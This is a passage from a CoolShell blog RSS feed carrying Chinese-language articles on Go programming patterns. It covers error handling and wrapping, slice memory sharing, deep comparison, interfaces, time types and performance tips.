error\n}</pre>\n<p>上面的代码我们可以看到，<code>scanner</code>在操作底层的I/O的时候，那个for-loop中没有任何的 <code>if err !=nil</code> 的情况，退出循环后有一个 <code>scanner.Err()</code> 的检查。看来使用了结构体的方式。模仿它，我们可以把我们的代码重构成下面这样：</p>\n<p>首先，定义一个结构体和一个成员函数</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">type Reader struct {\n    r   io.Reader\n    err error\n}\n\nfunc (r *Reader) read(data interface{}) {\n    if r.err == nil {\n        r.err = binary.Read(r.r, binary.BigEndian, data)\n    }\n}</pre>\n<p>然后，我们的代码就可以变成下面这样：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">func parse(input io.Reader) (*Point, error) {\n    var p Point\n    r := Reader{r: input}\n\n    r.read(&amp;p.Longitude)\n    r.read(&amp;p.Latitude)\n    r.read(&amp;p.Distance)\n    r.read(&amp;p.ElevationGain)\n    r.read(&amp;p.ElevationLoss)\n\n    if r.err != nil {\n        return nil, r.err\n    }\n\n    return &amp;p, nil\n}</pre>\n<p>有了上面这个技术，我们的“<a href=\"https://martinfowler.com/bliki/FluentInterface.html\" target=\"_blank\" rel=\"noopener\">流式接口 Fluent Interface</a>”，也就很容易处理了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport (\n  \"bytes\"\n  \"encoding/binary\"\n  \"fmt\"\n)\n\n// 长度不够，少一个Weight\nvar b = []byte {0x48, 0x61, 0x6f, 0x20, 0x43, 0x68, 0x65, 0x6e, 0x00, 0x00, 0x2c} \nvar r = bytes.NewReader(b)\n\ntype Person struct {\n  Name [10]byte\n  Age uint8\n  Weight uint8\n  err error\n}\nfunc (p *Person) read(data interface{}) {\n  if p.err == nil {\n    p.err = binary.Read(r, binary.BigEndian, data)\n  }\n}\n\nfunc (p *Person) ReadName() *Person {\n  p.read(&amp;p.Name) \n  return p\n}\nfunc (p *Person) ReadAge() *Person {\n  p.read(&amp;p.Age) \n  return p\n}\nfunc (p *Person) ReadWeight() *Person {\n  p.read(&amp;p.Weight) \n  return p\n}\nfunc (p *Person) Print() *Person {\n  if p.err == nil {\n    fmt.Printf(\"Name=%s, Age=%d, Weight=%d\\n\",p.Name, p.Age, p.Weight)\n  }\n  return p\n}\n\nfunc main() {   \n  p := Person{}\n  p.ReadName().ReadAge().ReadWeight().Print()\n  fmt.Println(p.err)  // EOF 错误\n}\n</pre>\n<p>相信你应该看懂这个技巧了，但是，其使用场景也就只能在对于同一个业务对象的不断操作下可以简化错误处理，对于多个业务对象的话，还是得需要各种 <code>if err != nil</code>的方式。</p>\n<h4>包装错误</h4>\n<p>最后，多说一句，我们需要包装一下错误，而不是干巴巴地把<code>err</code>给返回到上层，我们需要把一些执行的上下文加入。</p>\n<p>通常来说，我们会使用 <code>fmt.Errorf()</code>来完成这个事，比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">if err != nil {\n   return fmt.Errorf(\"something failed: %v\", err)\n}</pre>\n<p>另外，在Go语言的开发者中，更为普遍的做法是将错误包装在另一个错误中，同时保留原始内容：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type authorizationError struct {\n    operation string\n    err error   // original error\n}\n\nfunc (e *authorizationError) Error() string {\n    return fmt.Sprintf(\"authorization failed during %s: %v\", e.operation, e.err)\n}</pre>\n<p>当然，更好的方式是通过一种标准的访问方法，这样，我们最好使用一个接口，比如 <code>causer</code>接口中实现 <code>Cause()</code> 方法来暴露原始错误，以供进一步检查：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type causer interface {\n    Cause() error\n}\n\nfunc (e *authorizationError) Cause() error {\n    return e.err\n}\n</pre>\n<p>&nbsp;</p>\n<p>这里有个好消息是，这样的代码不必再写了，有一个第三方的错误库（<a href=\"https://github.com/pkg/errors\" target=\"_blank\" rel=\"noopener\">github.com/pkg/errors</a>），对于这个库，我无论到哪都能看到他的存在，所以，这个基本上来说就是事实上的标准了。代码示例如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">import \"github.com/pkg/errors\"\n\n//错误包装\nif err != nil {\n    return errors.Wrap(err, \"read failed\")\n}\n\n// Cause接口\nswitch err := errors.Cause(err).(type) {\ncase *MyError:\n    // handle specifically\ndefault:\n    // unknown error\n}</pre>\n<h4>参考文章</h4>\n<ul>\n<li><b>Golang Error Handling lesson by Rob Pike<br />\n</b><a href=\"http://jxck.hatenablog.com/entry/golang-error-handling-lesson-by-rob-pike\">http://jxck.hatenablog.com/entry/golang-error-handling-lesson-by-rob-pike</a></li>\n<li><b>Errors are values<br />\n</b><a href=\"https://blog.golang.org/errors-are-values\">https://blog.golang.org/errors-are-values</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21140.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式：切片，接口，时间和性能</title>\n\t\t<link>https://coolshell.cn/articles/21128.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21128.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 18 Dec 2020 07:36:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21128</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在本篇文章中，我会对Go语言编程模式的一些基本技术和要点，这样可以让你更容易掌握Go语言编程。其中，主要包括，数组切片的一些小坑，还有接口编程，以及时间和程序运...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21128.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21234\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.slices-300x169.png\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.slices-300x169.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices-1024x578.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices-768x434.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices-1536x867.png 1536w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices-478x270.png 478w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices.png 1576w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>在本篇文章中，我会对Go语言编程模式的一些基本技术和要点，这样可以让你更容易掌握Go语言编程。其中，主要包括，数组切片的一些小坑，还有接口编程，以及时间和程序运行性能相关的话题。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第1 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：切片，接口，时间和性能</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21140.html\" rel=\"next\" title=\"Go 编程模式：错误处理\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>Slice</h4>\n<p>首先，我们先来讨论一下Slice，中文翻译叫“切片”，这个东西在Go语言中不是数组，而是一个结构体，其定义如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type slice struct {\n    array unsafe.Pointer //指向存放数据的数组指针\n    len   int            //长度有多大\n    cap   int            //容量有多大\n}</pre>\n<p>用图示来看，一个空的slice的表现如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21129 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/slice1-300x190.png\" alt=\"\" width=\"300\" height=\"190\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/slice1-300x190.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/slice1-427x270.png 427w, https://coolshell.cn/wp-content/uploads/2020/12/slice1.png 466w\" sizes=\"(max-width: 300px) 100vw, 300px\" /> 熟悉C/C++的同学一定会知道，在结构体里用数组指针的问题——数据会发生共享！下面我们来看一下slice的一些操作</p>\n<p><span id=\"more-21128\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">foo = make([]int, 5)\nfoo[3] = 42\nfoo[4] = 100\n\nbar  := foo[1:4]\nbar[1] = 99</pre>\n<p>对于上面这段代码。</p>\n<ul>\n<li>首先先创建一个foo的slice，其中的长度和容量都是5</li>\n<li>然后开始对foo所指向的数组中的索引为3和4的元素进行赋值</li>\n<li>然后，对foo做切片后赋值给bar，再修改bar[1]</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-21130\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/slice2.png\" alt=\"\" width=\"818\" height=\"362\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/slice2.png 818w, https://coolshell.cn/wp-content/uploads/2020/12/slice2-300x133.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/slice2-768x340.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/slice2-604x267.png 604w\" sizes=\"(max-width: 818px) 100vw, 818px\" /></p>\n<p>通过上图我们可以看到，因为foo和bar的内存是共享的，所以，foo和bar的对数组内容的修改都会影响到对方。</p>\n<p>接下来，我们再来看一个数据操作 <code>append()</code> 的示例</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">a := make([]int, 32)\nb := a[1:16]\na = append(a, 1)\na[2] = 42</pre>\n<p>上面这段代码中，把 <code>a[1:16]</code> 的切片赋给到了 <code>b</code> ，此时，<code>a</code> 和 <code>b</code> 的内存空间是共享的，然后，对 <code>a</code>做了一个 <code>append()</code>的操作，这个操作会让 <code>a</code> 重新分享内存，导致 <code>a</code> 和 <code>b</code> 不再共享，如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21326\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-1024x513.png\" alt=\"\" width=\"640\" height=\"321\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-1024x513.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-300x150.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-768x385.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append-539x270.png 539w, https://coolshell.cn/wp-content/uploads/2020/12/go.slices.append.png 1454w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>从上图我们可以看以看到 <code>append()</code>操作让 <code>a</code> 的容量变成了64，而长度是33。这里，需要重点注意一下——<strong><code>append()</code>这个函数在 <code>cap</code> 不够用的时候就会重新分配内存以扩大容量，而如果够用的时候不不会重新分享内存！</strong></p>\n<p>我们再看来看一个例子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func main() {\n    path := []byte(\"AAAA/BBBBBBBBB\")\n    sepIndex := bytes.IndexByte(path,'/’)\n\n    dir1 := path[:sepIndex]\n    dir2 := path[sepIndex+1:]\n\n    fmt.Println(\"dir1 =&gt;\",string(dir1)) //prints: dir1 =&gt; AAAA\n    fmt.Println(\"dir2 =&gt;\",string(dir2)) //prints: dir2 =&gt; BBBBBBBBB\n\n    dir1 = append(dir1,\"suffix\"...)\n\n    fmt.Println(\"dir1 =&gt;\",string(dir1)) //prints: dir1 =&gt; AAAAsuffix\n    fmt.Println(\"dir2 =&gt;\",string(dir2)) //prints: dir2 =&gt; uffixBBBB\n}</pre>\n<p>上面这个例子中，<code>dir1</code> 和 <code>dir2</code> 共享内存，虽然 <code>dir1</code> 有一个 <code>append()</code> 操作，但是因为 cap 足够，于是数据扩展到了<code>dir2</code> 的空间。下面是相关的图示（注意上图中 <code>dir1</code> 和 <code>dir2</code> 结构体中的 <code>cap</code> 和 <code>len</code> 的变化）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21328\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/slice4-1024x740.png\" alt=\"\" width=\"640\" height=\"463\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/slice4-1024x740.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/slice4-300x217.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/slice4-768x555.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/slice4-374x270.png 374w, https://coolshell.cn/wp-content/uploads/2020/12/slice4.png 1481w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>如果要解决这个问题，我们只需要修改一行代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">dir1 := path[:sepIndex]\n</pre>\n<p>修改为</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">dir1 := path[:sepIndex:sepIndex]\n</pre>\n<p>新的代码使用了 Full Slice Expression，其最后一个参数叫“Limited Capacity”，于是，后续的 <code>append()</code> 操作将会导致重新分配内存。</p>\n<h4>深度比较</h4>\n<p>当我们复杂一个对象时，这个对象可以是内建数据类型，数组，结构体，map……我们在复制结构体的时候，当我们需要比较两个结构体中的数据是否相同时，我们需要使用深度比较，而不是只是简单地做浅度比较。这里需要使用到反射 <code>reflect.DeepEqual()</code> ，下面是几个示例</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">import (\n    \"fmt\"\n    \"reflect\"\n)\n\nfunc main() {\n\n    v1 := data{}\n    v2 := data{}\n    fmt.Println(\"v1 == v2:\",reflect.DeepEqual(v1,v2))\n    //prints: v1 == v2: true\n\n    m1 := map[string]string{\"one\": \"a\",\"two\": \"b\"}\n    m2 := map[string]string{\"two\": \"b\", \"one\": \"a\"}\n    fmt.Println(\"m1 == m2:\",reflect.DeepEqual(m1, m2))\n    //prints: m1 == m2: true\n\n    s1 := []int{1, 2, 3}\n    s2 := []int{1, 2, 3}\n    fmt.Println(\"s1 == s2:\",reflect.DeepEqual(s1, s2))\n    //prints: s1 == s2: true\n}</pre>\n<h4>接口编程</h4>\n<p>下面，我们来看段代码，其中是两个方法，它们都是要输出一个结构体，其中一个使用一个函数，另一个使用一个“成员函数”。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func PrintPerson(p *Person) {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc (p *Person) Print() {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc main() {\n    var p = Person{\n        Name: \"Hao Chen\",\n        Sexual: \"Male\",\n        Age: 44,\n    }\n\n    PrintPerson(&amp;p)\n    p.Print()\n}</pre>\n<p>你更喜欢哪种方式呢？在 Go 语言中，使用“成员函数”的方式叫“Receiver”，这种方式是一种封装，因为 <code>PrintPerson()</code>本来就是和 <code>Person</code>强耦合的，所以，理应放在一起。更重要的是，这种方式可以进行接口编程，对于接口编程来说，也就是一种抽象，主要是用在“多态”，这个技术，在《<a href=\"https://coolshell.cn/articles/8460.html#%E6%8E%A5%E5%8F%A3%E5%92%8C%E5%A4%9A%E6%80%81\" target=\"_blank\" rel=\"noopener\">Go语言简介（上）：接口与多态</a>》中已经讲过。在这里，我想讲另一个Go语言接口的编程模式。</p>\n<p>首先，我们来看一下，有下面这段代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Printable interface {\n    PrintStr()\n}\nfunc (c Country) PrintStr() {\n    fmt.Println(c.Name)\n}\nfunc (c City) PrintStr() {\n    fmt.Println(c.Name)\n}\n\nc1 := Country {\"China\"}\nc2 := City {\"Beijing\"}\nc1.PrintStr()\nc2.PrintStr()</pre>\n<p>其中，我们可以看到，其使用了一个 <code>Printable</code> 的接口，而 <code>Country</code> 和 <code>City</code> 都实现了接口方法 <code>PrintStr()</code> 而把自己输出。然而，这些代码都是一样的。能不能省掉呢？</p>\n<p>我们可以使用“结构体嵌入”的方式来完成这个事，如下的代码所示，</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type WithName struct {\n    Name string\n}\n\ntype Country struct {\n    WithName\n}\n\ntype City struct {\n    WithName\n}\n\ntype Printable interface {\n    PrintStr()\n}\n\nfunc (w WithName) PrintStr() {\n    fmt.Println(w.Name)\n}\n\nc1 := Country {WithName{ \"China\"}}\nc2 := City { WithName{\"Beijing\"}}\nc1.PrintStr()\nc2.PrintStr()</pre>\n<p>引入一个叫 <code>WithName</code>的结构体，然而，所带来的问题就是，在初始化的时候，变得有点乱。那么，我们有没有更好的方法？下面是另外一个解。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Stringable interface {\n    ToString() string\n}\nfunc (c Country) ToString() string {\n    return \"Country = \" + c.Name\n}\nfunc (c City) ToString() string{\n    return \"City = \" + c.Name\n}\n\nfunc PrintStr(p Stringable) {\n    fmt.Println(p.ToString())\n}\n\nd1 := Country {\"USA\"}\nd2 := City{\"Los Angeles\"}\nPrintStr(d1)\nPrintStr(d2)</pre>\n<p>上面这段代码，我们可以看到——<strong>我们使用了一个叫<code>Stringable</code> 的接口，我们用这个接口把“业务类型” <code>Country</code> 和 <code>City</code> 和“控制逻辑” <code>Print()</code> 给解耦了。</strong>于是，只要实现了<code>Stringable</code> 接口，都可以传给 <code>PrintStr()</code> 来使用。</p>\n<p>这种编程模式在Go 的标准库有很多的示例，最著名的就是 <code>io.Read</code> 和 <code>ioutil.ReadAll</code> 的玩法，其中 <code>io.Read</code> 是一个接口，你需要实现他的一个 <code>Read(p []byte) (n int, err error)</code> 接口方法，只要满足这个规模，就可以被 <code>ioutil.ReadAll</code>这个方法所使用。<strong>这就是面向对象编程方法的黄金法则——“Program to an interface not an implementation”</strong></p>\n<h4>接口完整性检查</h4>\n<p>另外，我们可以看到，Go语言的编程器并没有严格检查一个对象是否实现了某接口所有的接口方法，如下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Shape interface {\n    Sides() int\n    Area() int\n}\ntype Square struct {\n    len int\n}\nfunc (s* Square) Sides() int {\n    return 4\n}\nfunc main() {\n    s := Square{len: 5}\n    fmt.Printf(\"%d\\n\",s.Sides())\n}</pre>\n<p>我们可以看到 <code>Square</code> 并没有实现 <code>Shape</code> 接口的所有方法，程序虽然可以跑通，但是这样编程的方式并不严谨，如果我们需要强制实现接口的所有方法，那么我们应该怎么办呢？</p>\n<p>在Go语言编程圈里有一个比较标准的作法：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">var _ Shape = (*Square)(nil)</pre>\n<p>声明一个 <code>_</code> 变量（没人用），其会把一个 <code>nil</code> 的空指针，从 <code>Square</code> 转成 <code>Shape</code>，这样，如果没有实现完相关的接口方法，编译器就会报错：</p>\n<blockquote><p>cannot use (*Square)(nil) (type *Square) as type Shape in assignment: *Square does not implement Shape (missing Area method)</p></blockquote>\n<p>这样就做到了个强验证的方法。</p>\n<h4>时间</h4>\n<p>对于时间来说，这应该是编程中比较复杂的问题了，相信我，时间是一种非常复杂的事（比如《<a title=\"你确信你了解时间吗？\" href=\"https://coolshell.cn/articles/5075.html\" target=\"_blank\" rel=\"noopener\">你确信你了解时间吗？</a>》、《<a title=\"关于闰秒\" href=\"https://coolshell.cn/articles/7804.html\">关于闰秒</a>》等文章）。而且，时间有时区、格式、精度等等问题，其复杂度不是一般人能处理的。所以，一定要重用已有的时间处理，而不是自己干。</p>\n<p>在 Go 语言中，你一定要使用 <code>time.Time</code> 和 <code>time.Duration</code> 两个类型：</p>\n<ul>\n<li>在命令行上，<code>flag</code> 通过 <code>time.ParseDuration</code> 支持了 <code>time.Duration</code></li>\n<li>JSon 中的 <code>encoding/json</code> 中也可以把<code>time.Time</code> 编码成 <a href=\"https://tools.ietf.org/html/rfc3339\" target=\"_blank\" rel=\"noopener\">RFC 3339</a> 的格式</li>\n<li>数据库使用的 <code>database/sql</code> 也支持把 <code>DATATIME</code> 或 <code>TIMESTAMP</code> 类型转成 <code>time.Time</code></li>\n<li>YAML你可以使用 <code>gopkg.in/yaml.v2</code> 也支持 <code>time.Time</code> 、<code>time.Duration</code> 和 <a href=\"https://tools.ietf.org/html/rfc3339\" target=\"_blank\" rel=\"noopener\">RFC 3339</a> 格式</li>\n</ul>\n<p>如果你要和第三方交互，实在没有办法，也请使用 <a href=\"https://tools.ietf.org/html/rfc3339\" target=\"_blank\" rel=\"noopener\">RFC 3339</a> 的格式。</p>\n<p>最后，如果你要做全球化跨时区的应用，你一定要把所有服务器和时间全部使用UTC时间。</p>\n<h4>性能提示</h4>\n<p>Go 语言是一个高性能的语言，但并不是说这样我们就不用关心性能了，我们还是需要关心的。下面是一个在编程方面和性能相关的提示。</p>\n<ul>\n<li>如果需要把数字转字符串，使用 <code>strconv.Itoa()</code> 会比 <code>fmt.Sprintf()</code> 要快一倍左右</li>\n<li>尽可能地避免把<code>String</code>转成<code>[]Byte</code> 。这个转换会导致性能下降。</li>\n<li>如果在for-loop里对某个slice 使用 <code>append()</code>请先把 slice的容量很扩充到位，这样可以避免内存重新分享以及系统自动按2的N次方幂进行扩展但又用不到，从而浪费内存。</li>\n<li>使用<code>StringBuffer</code> 或是<code>StringBuild</code> 来拼接字符串，会比使用 <code>+</code> 或 <code>+=</code> 性能高三到四个数量级。</li>\n<li>尽可能的使用并发的 go routine，然后使用 <code>sync.WaitGroup</code> 来同步分片操作</li>\n<li>避免在热代码中进行内存分配，这样会导致gc很忙。尽可能的使用 <code>sync.Pool</code> 来重用对象。</li>\n<li>使用 lock-free的操作，避免使用 mutex，尽可能使用 <code>sync/Atomic</code>包。 （关于无锁编程的相关话题，可参看《<a title=\"无锁队列的实现\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列实现</a>》或《<a title=\"无锁HashMap的原理与实现\" href=\"https://coolshell.cn/articles/9703.html\">无锁Hashmap实现</a>》）</li>\n<li>使用 I/O缓冲，I/O是个非常非常慢的操作，使用 <code>bufio.NewWrite()</code> 和 <code>bufio.NewReader()</code> 可以带来更高的性能。</li>\n<li>对于在for-loop里的固定的正则表达式，一定要使用 <code>regexp.Compile()</code> 编译正则表达式。性能会得升两个数量级。</li>\n<li>如果你需要更高性能的协议，你要考虑使用 <a href=\"https://github.com/golang/protobuf\" target=\"_blank\" rel=\"noopener\">protobuf</a> 或 <a href=\"https://github.com/tinylib/msgp\" target=\"_blank\" rel=\"noopener\">msgp</a> 而不是JSON，因为JSON的序列化和反序列化里使用了反射。</li>\n<li>你在使用map的时候，使用整型的key会比字符串的要快，因为整型比较比字符串比较要快。</li>\n</ul>\n<h4>参考文档</h4>\n<p>还有很多不错的技巧，下面的这些参考文档可以让你写出更好的Go的代码，必读！</p>\n<ul>\n<li><b>Effective</b> <b>Go<br />\n</b><a href=\"https://golang.org/doc/effective_go.html\">https://golang.org/doc/effective_go.html</a></li>\n<li><b>Uber</b> <b>Go</b> <b>Style<br />\n</b><a href=\"https://github.com/uber-go/guide/blob/master/style.md\">https://github.com/uber-go/guide/blob/master/style.md</a></li>\n<li><b>50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs<br />\n</b><a href=\"http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/\">http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/</a></li>\n<li><b>Go</b> <b>Advice<br />\n</b><a href=\"https://github.com/cristaloleg/go-advice\">https://github.com/cristaloleg/go-advice</a><b></b></li>\n<li><b>Practical Go Benchmarks<br />\n</b><a href=\"https://www.instana.com/blog/practical-golang-benchmarks/\">https://www.instana.com/blog/practical-golang-benchmarks/</a><b></b></li>\n<li><b>Benchmarks of Go serialization methods<br />\n</b><a href=\"https://github.com/alecthomas/go_serialization_benchmarks\">https://github.com/alecthomas/go_serialization_benchmarks</a><b></b></li>\n<li><b>Debugging</b> <b>performance</b> <b>issues</b> <b>in</b> <b>Go</b> <b>programs<br />\n</b><a 